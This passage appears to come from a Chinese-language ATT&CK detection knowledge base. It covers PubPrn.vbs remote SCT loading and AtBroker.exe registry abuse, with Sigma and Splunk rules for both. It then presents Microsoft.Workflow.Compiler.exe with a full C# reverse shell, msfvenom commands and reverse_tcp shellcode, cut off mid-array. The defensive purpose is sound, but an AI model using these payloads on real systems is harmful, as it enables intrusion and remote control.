\"script:https://malicious.com/file.sct\"\n```\n\n此技术利用Microsoft签名脚本绕过应用程序白名单（如AppLocker）和签名验证机制。SCT文件通过COM对象（如`Scriptlet.Typelib`）执行JScript或VBScript，加载恶意Payload。\n\n**限制**：Windows10及以上版本中，`PubPrn.vbs`已更新，限制`script:`参数仅接受`LDAP://`协议，阻止远程HTTP(S)加载。老旧系统（如Windows7、Server2012）仍易受攻击。\n\n## 测试案例\n\n### 测试案例1：PubPrn.vbs加载远程SCT文件\n\n通过已签名的`PubPrn.vbs`脚本加载远程SCT文件，执行恶意Payload。测试使用AtomicRedTeam提供的SCT文件，触发计算器（`calc.exe`）作为示例。\n\n**命令**：\n```cmd\ncscript.exe /b C:\\Windows\\System32\\Printing_Admin_Scripts\\zh-CN\\pubprn.vbs localhost \"script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct\"\n```\n\n- **说明**：\n  - `/b`：以批处理模式运行，抑制弹出窗口。\n  - `localhost`：占位参数，不影响执行。\n  - `script:`：指定远程SCT文件。\n- **权限**：无需提升权限，普通用户可执行。\n- **注意**：需根据系统语言调整脚本路径（如`en-US`或`zh-CN`）。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID4688：进程创建，记录`cscript.exe`的执行信息。\n- Sysmon日志：\n  - 事件ID1：进程创建，包含命令行、哈希值和父进程。\n  - 事件ID7：映像加载，记录加载的DLL（如`scrobj.dll`用于SCT执行）。\n  - 事件ID10：进程访问，记录脚本触发的子进程。\n- 网络监控：\n  - 检测`cscript.exe`发起的HTTP(S)请求（如下载SCT文件）。\n- 文件监控：\n  - 检测非标准路径下的VBS或SCT文件。\n\n## 测试复现\n\n### 测试1 PubPrn.vbs Signed Script Bypass\n\n```yml\nC:\\Users\\Administrator.ZHULI>cscript.exe /b C:\\Windows\\System32\\Printing_Admin_Scripts\\zh-CN\\pubprn.vbs localhost \"script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct\"\n```\n\n注意操作系统语言，语言不同，VBS脚本所在位置不同\n\n## 测试留痕\n\nWindows Sysmon日志\n\n```yml\nProcess Create: 事件ID 1进程创建\nRuleName: technique_id=T1059,technique_name=Command-Line Interface\nUtcTime: 2022-01-11 08:05:07.983\nProcessGuid: {78c84c47-3a33-61dd-3924-000000000800}\nProcessId: 2000\nImage: C:\\Windows\\System32\\cscript.exe\nFileVersion: 5.812.10240.16384\nDescription: Microsoft \nProduct: Microsoft ® Windows Script Host\nCompany: Microsoft Corporation\nOriginalFileName: cscript.exe\nCommandLine: cscript.exe /b C:\\Windows\\System32\\Printing_Admin_Scripts\\zh-CN\\pubprn.vbs localhost \"script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct\"\nCurrentDirectory: C:\\Users\\Administrator.ZHULI\\\nUser: ZHULI\\Administrator\nLogonGuid: {78c84c47-f665-61db-95da-440100000000}\nLogonId: 0x144DA95\nTerminalSessionId: 3\nIntegrityLevel: High\nHashes: SHA1=0E3C0779D8EAAD3B00363D7890DDC8272B510D49,MD5=A45586B3A5A291516CD10EF4FD3EE768,SHA256=59D3CDC7D51FA34C6B27B8B04EA17992955466EB25022B7BD64880AB35DF0BBC,IMPHASH=2B44D2206B9865383429E9C1524F1CAC\nParentProcessGuid: {78c84c47-2489-61dd-f120-000000000800}\nParentProcessId: 4392\nParentImage: C:\\Windows\\System32\\cmd.exe\nParentCommandLine: \"C:\\Windows\\system32\\cmd.exe\" \nParentUser: ZHULI\\Administrator\n```\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`cscript.exe`或`wscript.exe`执行`pubprn.vbs`。\n   - 检查命令行是否包含`script:`和`http(s)://`。\n2. 命令行分析：\n   - 正则表达式匹配：\n     ```regex\n     cscript\\.exe.*pubprn\\.vbs.*script:http(s)?://.*\\.sct\n     ```\n3. 网络监控：\n   - 检测`cscript.exe`发起的HTTP(S)请求，尤其是下载`.sct`文件。\n4. 文件监控：\n   - 检测非`C:\\Windows\\System32\\Printing_Admin_Scripts\\`路径下的`pubprn.vbs`。\n5. 行为分析：\n   - 检测`cscript.exe`加载`scrobj.dll`后触发子进程。\n   - 监控由SCT文件触发的异常行为（如PowerShell执行）。\n\n### Sigma规则\n优化后的Sigma规则，增强误报过滤：\n```yaml\ntitle:可疑PubPrn.vbs脚本执行远程SCT\nid:7b8c9d4e-5f0a-6b7c-8d9e-0a1b2c3d4e5f\ndescription:检测cscript.exe执行PubPrn.vbs加载远程SCT文件，可能用于代理恶意代码\nstatus:experimental\nlogsource:\n  category:process_creation\n  product:windows\ndetection:\n  selection:\n    Image|endswith:\n      - '\\cscript.exe'\n      - '\\wscript.exe'\n    CommandLine|contains:\n      - '\\pubprn.vbs'\n      - 'script:http'\n      - '.sct'\n  filter_legitimate:\n    CommandLine|contains:'LDAP://'\n  condition:selection and not filter_legitimate\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - 合法的打印机发布操作（使用LDAP://协议）\nlevel:high\ntags:\n  - attack.execution\n  - attack.t1216.001\n```\n\n规则说明：\n- 目标：检测`pubprn.vbs`加载远程SCT文件的执行。\n- 过滤：排除使用`LDAP://`协议的合法打印机发布操作。\n- 日志来源：Windows事件ID4688（需启用命令行审核）或Sysmon事件ID1。\n- 误报处理：合法打印机管理可能触发，需结合命令行和网络行为分析。\n- 级别：标记为“高”优先级，因远程SCT加载通常与恶意活动相关。\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\"\n(EventCode=1 Image IN (\"*\\cscript.exe\",\"*\\wscript.exe\") CommandLine IN (\"*\\pubprn.vbs*\",\"*script:http*\",\"*.sct*\"))\nOR (EventCode=7 Image=\"*\\cscript.exe\" ImageLoaded=\"*\\scrobj.dll\")\nOR (EventCode=10 SourceImage IN (\"*\\cscript.exe\",\"*\\wscript.exe\") TargetImage IN (\"*\\powershell.exe\",\"*\\cmd.exe\"))\n| fields Image,CommandLine,ParentImage,User,ImageLoaded,TargetImage\n```\n\n规则说明：\n- 检测`pubprn.vbs`的异常执行（事件ID1）、SCT相关DLL加载（事件ID7）和触发的子进程（事件ID10）。\n- 减少误报：结合命令行和网络请求分析。\n\n### 检测挑战\n- 误报：合法打印机发布操作可能触发，需结合`script:`参数和网络行为分析。\n- 日志依赖：远程SCT下载可能不记录完整细节，需部署Sysmon和网络监控。\n\n## 防御建议\n1. 监控和日志：\n   - 启用命令行审核策略，确保事件ID4688记录完整参数。\n   - 部署Sysmon，配置针对`cscript.exe`和`wscript.exe`的规则，监控脚本执行和网络请求。\n2. 网络隔离：\n   - 限制非必要主机的HTTP(S)出站连接，尤其是下载`.sct`文件。\n3. 文件审查：\n   - 定期扫描非系统路径下的VBS和SCT文件，检查脚本内容。\n4. 权限控制：\n   - 限制普通用户执行`cscript.exe`或`wscript.exe`的权限。\n5. 系统更新：\n   - 升级到Windows10+，利用`PubPrn.vbs`的协议限制（仅允许`LDAP://`）。\n6. ActiveX限制：\n   - 配置IE安全设置，禁用未签名的ActiveX控件，降低SCT文件执行风险。\n\n## 参考推荐\n- MITREATT&CKT1216.001:  \n  <https://attack.mitre.org/techniques/T1216/001/>\n- AtomicRedTeamT1216.001:  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1216.001/T1216.001.md>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- MetasploitFramework:用于生成和测试反弹Shell。  \n  <https://www.metasploit.com/>\n- Sysmon:Microsoft提供的系统监控工具。  \n  <https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon>"
  },
  {
    "path": "Windows/07逃避防御/T1218-Win-使用Atbroker.exe执行payload(白名单).md",
    "content": "# T1218-Win-使用Atbroker.exe执行payload（白名单）\n\n## 描述\n\n攻击者可能利用受信任的Windows实用程序（如`AtBroker.exe`）代理执行恶意代码，绕过应用程序白名单防御（MITRE ATT&CK T1218）。`AtBroker.exe`是Windows的“轻松访问中心”组件，用于启动辅助功能应用程序（如讲述人、屏幕键盘、放大镜）。由于其由微软签名并位于系统目录，通常被安全工具视为可信进程。\n\n攻击者可通过修改注册表中的辅助技术（Assistive Technology, AT）服务条目，注册恶意程序作为AT应用，随后使用`AtBroker.exe /start <malware>`触发执行。此技术利用`AtBroker.exe`的白名单特性，隐藏恶意行为，常用于防御规避、初始访问或持久化。\n\n## 测试案例\n\n### 测试1：使用AtBroker.exe执行恶意载荷\n\n攻击者通过修改注册表注册恶意程序为AT应用，随后使用`AtBroker.exe`执行，模拟恶意载荷运行。\n\n**环境要求**：\n- 系统：Windows 8/8.1/10/11\n- 工具：`AtBroker.exe`（系统自带）\n- 权限：用户权限（注册表修改可能需管理员权限）\n- 路径：\n  - `C:\\Windows\\System32\\AtBroker.exe`\n  - `C:\\Windows\\SysWOW64\\AtBroker.exe`\n\n**准备步骤**：\n1. 创建恶意可执行文件（如`malware.exe`），放置于可访问路径（如`C:\\Temp\\malware.exe`）。\n2. 修改注册表，注册`malware.exe`为AT应用：\n   ```reg\n   [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\malware]\n   \"ATExe\"=\"C:\\\\Temp\\\\malware.exe\"\n   \"Description\"=\"Malicious AT Application\"\n   \"StartParams\"=\"\"\n   ```\n\n**攻击命令**：\n```cmd\nAtBroker.exe /start malware\n```\n\n**清理命令**：\n```cmd\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\malware\" /f\ndel C:\\Temp\\malware.exe\ntaskkill /IM malware.exe /F\n```\n\n**说明**：\n- `/start malware`：触发注册表中`malware`键对应的可执行文件。\n- 注册表修改定义了名为`malware`的AT应用，指向`C:\\Temp\\malware.exe`。\n\n## 检测日志\n\n- **Windows安全日志**：\n  - Event ID 4688：进程创建，记录`AtBroker.exe`及其子进程的执行（需启用进程跟踪审核）。\n- **Sysmon日志**：\n  - Event ID 1：进程创建，捕获`AtBroker.exe`和恶意载荷的命令行及父进程信息。\n  - Event ID 13：注册表修改，记录AT注册表键的创建或更改。\n- **日志配置**：\n  - 启用命令行审计：`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。\n  - 部署Sysmon，配置捕获进程创建和注册表事件。\n\n## 测试复现\n\n### 测试环境\n\n- 系统：Windows 10 (Build 18363.418)\n- 用户：普通用户（注册表修改需管理员权限）\n\n### 测试过程\n\n#### 1. 准备恶意载荷\n\n- 创建简单测试文件`malware.exe`（如启动`calc.exe`的批处理转EXE）。\n- 放置于`C:\\Temp\\malware.exe`。\n\n#### 2. 修改注册表\n\n**命令**：\n```cmd\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\malware\" /v ATExe /t REG_SZ /d \"C:\\Temp\\malware.exe\" /f\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\malware\" /v Description /t REG_SZ /d \"Malicious AT Application\" /f\n```\n\n#### 3. 执行攻击\n\n**命令**：\n```cmd\nC:\\Users\\liyang>AtBroker.exe /start malware\n```\n\n**结果**：\n- `malware.exe`执行，触发`calc.exe`（假设`malware.exe`为测试载荷）。\n- 日志记录`AtBroker.exe`和`malware.exe`的进程创建。\n\n#### 4. 清理\n\n**命令**：\n```cmd\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\malware\" /f\ndel C:\\Temp\\malware.exe\ntaskkill /IM calc.exe /F\n```\n\n## 测试留痕\n\n### Windows安全日志（Event ID 4688：进程创建）\n\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/01 10:00:00\n事件 ID: 4688\n任务类别: Process Creation\n级别: 信息\n用户: N/A\n计算机: DESKTOP-PT656L6\n描述:\n已创建新进程。\n\n创建者主题:\n  安全 ID: DESKTOP-PT656L6\\liyang\n  帐户名: liyang\n  帐户域: DESKTOP-PT656L6\n  登录 ID: 0x47126\n\n目标主题:\n  安全 ID: NULL SID\n  帐户名: -\n  帐户域: -\n  登录 ID: 0x0\n\n进程信息:\n  新进程 ID: 0x21e4\n  新进程名称: C:\\Windows\\System32\\AtBroker.exe\n  令牌提升类型: %%1938\n  强制性标签: Mandatory Label\\Medium Mandatory Level\n  创建者进程 ID: 0x24b4\n  创建者进程名称: C:\\Windows\\System32\\cmd.exe\n  进程命令行: AtBroker.exe /start malware\n```\n\n**分析**：\n- 日志记录`AtBroker.exe`执行，命令行包含`/start malware`。\n- 父进程为`cmd.exe`，事件创建。\n\n### Sysmon日志（Event ID 13：注册表事件）\n\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2023/10-01 10:00:00\n事件 ID: 13\n任务类别: Registry value set\n级别: 信息\n用户: DESKTOP-PT656L6\\liyang\n计算机: DESKTOP-PT656L6\n描述:\nRegistry value set:\nRuleName: technique_id=T1218,technique_name=Signed Binary Proxy Execution\nUtcTime: 2023-10-01 02:00:00.123\nEventType: SetValue\nProcessGuid: {12345678-1234-5678-1234-567890123456}\nProcessId: 12345\nImage: C:\\Windows\\System32\\reg.exe\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\malware\\ATExe\nDetails: C:\\Temp\\malware.exe\n```\n\n**分析**：\n- 日志记录`HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\malware\\ATExe`的注册表修改，指向`malware.exe`。\n- 进程映像为`reg.exe`，表明通过命令行注册表修改。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 检测可疑AtBroker.exe执行\ndescription: Detects AtBroker.exe executing non-standard Assistive Technology applications, potentially malicious.\nid: f24bcaea-0cd1-11eb-adc1-0242ac120002\nstatus: experimental\nauthor: \n- Mateusz Wydra, \n- oscd.community, \ndate: 2023/10/01\nreferences:\n  - https://attack.mitre.org/techniques/T1218/\n  - http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/\n  - https://lolbas-project.github.io/lolbas/Binaries/Atbroker/\ntags:\n  - attack.defense_evasion\n  - attack.t1218\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    Image|endswith: '\\AtBroker.exe'\n    CommandLine|contains: '/start'\n  filter:\n    CommandLine|contains:\n      - 'animations'\n      - 'audiodescription'\n      - 'caretbrowsing'\n      - 'caretwidth'\n      - 'colorfiltering'\n      - 'cursorscheme'\n      - 'filterkeys'\n      - 'focusborderheight'\n      - 'focusborderwidth'\n      - 'highcontrast'\n      - 'keyboardcues'\n      - 'keyboardpref'\n      - 'magnifierpane'\n      - 'messageduration'\n      - 'minimumhitradius'\n      - 'mousekeys'\n      - 'Narrator'\n      - 'osk'\n      - 'overlappedcontent'\n      - 'showsounds'\n      - 'soundsentry'\n      - 'stickykeys'\n      - 'togglekeys'\n      - 'windowarranging'\n      - 'windowtracking'\n      - 'windowtrackingtimeout'\n      - 'windowtrackingzorder'\n  condition: selection and not filter\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\nfalsepositives:\n  - Legitimate non-default assistive technology applications\nlevel: high\n```\n\n**规则说明**：\n- 检测`AtBroker.exe`执行，命令行包含`/start`但不包含默认AT应用（如`Narrator`、`osk`）。\n- 覆盖Windows安全日志（Event ID 4688）和Sysmon日志（Event ID 1）。\n- 规则为实验性，需测试以减少合法AT应用的误报。\n\n### 建议\n\n1. **监控AtBroker.exe活动**：\n   - 使用Sysmon（Event ID 1）捕获`AtBroker.exe`的进程创建，检查命令行是否包含`/start`和非默认AT名称。\n   - 监控Event ID 13（注册表修改），检测`HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs`的更改。\n\n2. **启用命令行审计**：\n   - 配置Windows安全策略，启用进程跟踪审核（Event ID 4688）并记录命令行参数。\n   - 部署Sysmon，配置捕获进程命令行和注册表事件。\n\n3. **基线化行为**：\n   - 建立`AtBroker.exe`的正常使用基线，生产环境中应仅启动默认AT应用（如`Narrator`、`magnifier`）。\n   - 监控非预期父进程（如`powershell.exe`）或异常AT名称。\n\n4. **保护注册表**：\n   - 配置严格的注册表权限，限制非管理员修改`HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs`。\n   - 启用注册表审计，记录AT键的创建或修改。\n\n5. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析安全日志和Sysmon日志，检测`AtBroker.exe`代理执行。\n   - 设置高优先级告警，针对非默认AT应用的`/start`命令。\n\n6. **行为链关联**：\n   - 将`AtBroker.exe`执行与其他可疑行为（如网络连接、进程注入）关联，识别攻击链。\n   - 例如，检测`malware.exe`执行后是否发起C2通信。\n\n7. **限制AtBroker.exe使用**：\n   - 使用AppLocker或组策略限制`AtBroker.exe`的执行，仅允许特定场景。\n   - 监控未经授权的AT注册表修改。\n\n8. **测试与验证**：\n   - 在测试环境中模拟`AtBroker.exe`执行恶意载荷（如注册`malware.exe`），验证检测规则有效性。\n   - 调整规则阈值，排除合法AT应用的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1218  \n  <https://attack.mitre.org/techniques/T1218/>\n- LOLBAS：AtBroker.exe  \n  <https://lolbas-project.github.io/lolbas/Binaries/Atbroker/>\n- ATBroker.exe病毒利用分析  \n  <https://www.freebuf.com/articles/system/171437.html>\n- Atomic Red Team T1218  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218/T1218.md>\n"
  },
  {
    "path": "Windows/07逃避防御/T1218.001-Win-使用Compiler.exe执行payload(白名单).md",
    "content": "# T1218.001-使用Microsoft.Workflow.Compiler.exe执行Payload（白名单绕过）\n\n## 描述\n\n`Microsoft.Workflow.Compiler.exe`是.NET Framework自带的命令行工具，用于编译和执行XOML（Extensible Object Markup Language）工作流文件。它位于Windows系统中的.NET Framework目录：\n\n- 32位：`C:\\Windows\\Microsoft.NET\\Framework\\v<版本>\\Microsoft.Workflow.Compiler.exe`\n- 64位：`C:\\Windows\\Microsoft.NET\\Framework64\\v<版本>\\Microsoft.Workflow.Compiler.exe`\n\n该工具由Microsoft签名，视为受信任的开发工具。攻击者可通过提供包含恶意代码的XOML文件或C#代码，利用`Microsoft.Workflow.Compiler.exe`代理执行任意未签名代码，从而绕过AppLocker或其他白名单防御机制。\n\n`Microsoft.Workflow.Compiler.exe`需要两个命令行参数：\n1. XML文件路径：包含序列化的`CompilerInput`对象，指定编译参数。\n2. 输出文件路径：通常为C#或XOML文件，包含待执行的代码。\n\n此技术常用于初始访问后的持久化、权限提升或横向移动，因其利用合法签名工具，难以被传统防病毒软件检测。\n\n## 测试案例\n\n### 案例说明\n`Microsoft.Workflow.Compiler.exe`未包含在系统`PATH`环境变量中，需使用完整路径调用。攻击者可通过精心构造的XML和C#文件执行恶意代码。以下是一个简单的测试案例：\n\n### 方法1\n\n**XML文件（poc.xml）**：\n```xml\n<?xml version=\"1.0\" encoding=\"utf‐8\"?>\n<CompilerInput xmlns:i=\"http://www.w3.org/2001/XMLSchema‐instance\" xmlns=\"http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler\"\n<files xmlns:d2p1=\"http://schemas.microsoft.com/2003/10/Serialization/Arrays\">\n<d2p1:string>add.tcp</d2p1:string>\n</files>\n<parameters xmlns:d2p1=\"http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler\">\n<assemblyNames xmlns:d3p1=\"http://schemas.microsoft.com/2003/10/Serialization/Arrays\" xmlns=\"http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler\" />\n<compilerOptions i:nil=\"true\" xmlns=\"http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler\" />\n<coreAssemblyFileName xmlns=\"http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler\"></coreAssemblyFileName>\n<embeddedResources xmlns:d3p1=\"http://schemas.microsoft.com/2003/10/Serialization/Arrays\" xmlns=\"http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler\" />\n<evidence xmlns:d3p1=\"http://schemas.datacontract.org/2004/07/System.Security.Policy\" i:nil=\"true\" xmlns=\"http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler\" />\n<generateExecutable xmlns=\"http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler\">false</generateExecutable>\n<generateInMemory xmlns=\"http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler\">true</generateInMemory>\n<includeDebugInformation xmlns=\"http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler\">false</includeDebugInformation>\n<linkedResources xmlns:d3p1=\"http://schemas.microsoft.com/2003/10/Serialization/Arrays\" xmlns=\"http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler\" />\n<mainClass i:nil=\"true\" xmlns=\"http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler\" />\n<outputName xmlns=\"http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler\"></outputName>\n<tempFiles i:nil=\"true\" xmlns=\"http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler\" />\n<treatWarningsAsErrors xmlns=\"http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler\">false</treatWarningsAsErrors>\n<warningLevel xmlns=\"http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler\">‐1</warningLevel>\n<win32Resource i:nil=\"true\" xmlns=\"http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler\" />\n<d2p1:checkTypes>false</d2p1:checkTypes>\n<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>\n<d2p1:compilerOptions i:nil=\"true\" />\n<d2p1:generateCCU>false</d2p1:generateCCU>\n<d2p1:languageToUse>CSharp</d2p1:languageToUse>\n<d2p1:libraryPaths xmlns:d3p1=\"http://schemas.microsoft.com/2003/10/Serialization/Arrays\" i:nil=\"true\" />\n<d2p1:localAssembly xmlns:d3p1=\"http://schemas.datacontract.org/2004/07/System.Reflection\" i:nil=\"true\" />\n<d2p1:mtInfo i:nil=\"true\" />\n<d2p1:userCodeCCUs xmlns:d3p1=\"http://schemas.datacontract.org/2004/07/System.CodeDom\" i:nil=\"true\" />\n</parameters>\n</CompilerInput>\n```\n\n**add.tcp**\n```csharp\nusing System;\nusing System.Text;\nusing System.IO;\nusing System.Diagnostics;\nusing System.ComponentModel;\nusing System.Net;\nusing System.Net.Sockets;\nusing System.Workflow.Activities;\n\npublic class Program : SequentialWorkflowActivity\n\n{\nstatic StreamWriter streamWriter;\npublic Program()\n{\nusing(TcpClient client = new TcpClient(\"192.168.126.146\", 4444))\n{\nusing(Stream stream = client.GetStream())\n{\nusing(StreamReader rdr = new StreamReader(stream))\n{\nstreamWriter = new StreamWriter(stream);\nStringBuilder strInput = new StringBuilder();\nProcess p = new Process();\np.StartInfo.FileName = \"cmd.exe\";\np.StartInfo.CreateNoWindow = true;\np.StartInfo.UseShellExecute = false;\np.StartInfo.RedirectStandardOutput = true;\np.StartInfo.RedirectStandardInput = true;\np.StartInfo.RedirectStandardError = true;\np.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);\np.Start();\np.BeginOutputReadLine();\nwhile(true)\n{\nstrInput.Append(rdr.ReadLine());\np.StandardInput.WriteLine(strInput);\nstrInput.Remove(0, strInput.Length);\n}\n}\n}\n}\n}\nprivate static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)\n{\nStringBuilder strOutput = new StringBuilder();\nif (!String.IsNullOrEmpty(outLine.Data))\n{\ntry\n{\nstrOutput.Append(outLine.Data);\nstreamWriter.WriteLine(strOutput);\nstreamWriter.Flush();\n}\ncatch (Exception err) { }\n}\n}\n}\n```\n\n**设置监听**\n\n```bash\nuse exploit/multi/handler\nmsf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp\nmsf exploit(multi/handler) > set lhost 192.168.126.146\nmsf exploit(multi/handler) > set lport 4444\nmsf exploit(multi/handler) > exploit\n```\n\n**靶机执行payload**\n\n```dos\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Workflow.Compiler.exe poc.xml add.tcp\n```\n\n未能成功获取到会话，使用方法2进行利用。\n\n### 方法2\n\n**Msf生成shellcode**\n\n```bash\nmsfvenom  -p windows/x64/shell/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f csharp\n```\n\n```cs\nusing System;\n\nusing System.Workflow.Activities;\n\nusing System.Net;\n\nusing System.Net.Sockets;\n\nusing System.Runtime.InteropServices;\n\nusing System.Threading;\n\nclass yrDaTlg : SequentialWorkflowActivity {\n\n[DllImport(\"kernel32\")] private static extern IntPtr VirtualAlloc(UInt32 rCfMkmxRSAakg,UInt32 qjRsrljIMB, UInt32 peXiTuE, UInt32 AkpADfOOAVBZ);\n\n[DllImport(\"kernel32\")] public static extern bool VirtualProtect(IntPt rDStOGXQMMkP, uint CzzIpcuQppQSTBJ, uint JCFImGhkRqtwANx, out uint exgVp Sg);\n\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 eisuQbXKYbAvA, UInt32 WQATOZaFz, IntPtr AEGJQOn,IntPtr SYcfyeeSgPl, UInt32 ZSheqBwKtDf, ref UInt32 SZtdSB);\n\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr KqJNFlHpsKOV, UInt32 EYBOArlCLAM);\n\npublic yrDaTlg() {\n\nbyte[] QWKpWKhcs =\n\n{0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,\n0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,\n0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,\n0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,\n0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,\n0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,\n0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,\n0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,\n0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,\n0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,\n0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,\n0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,\n0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,\n0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,\n0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,\n0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,\n0x49,0xbc,0x02,0x00,0x11,0x5c,0xc0,0xa8,0x7e,0x92,0x41,0x54,0x49,0x89,0xe4,\n0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,\n0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,\n0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,\n0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,\n0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,\n0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,\n0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,\n0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,\n0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,\n0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,\n0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,\n0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,\n0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,\n0x00,0x00,0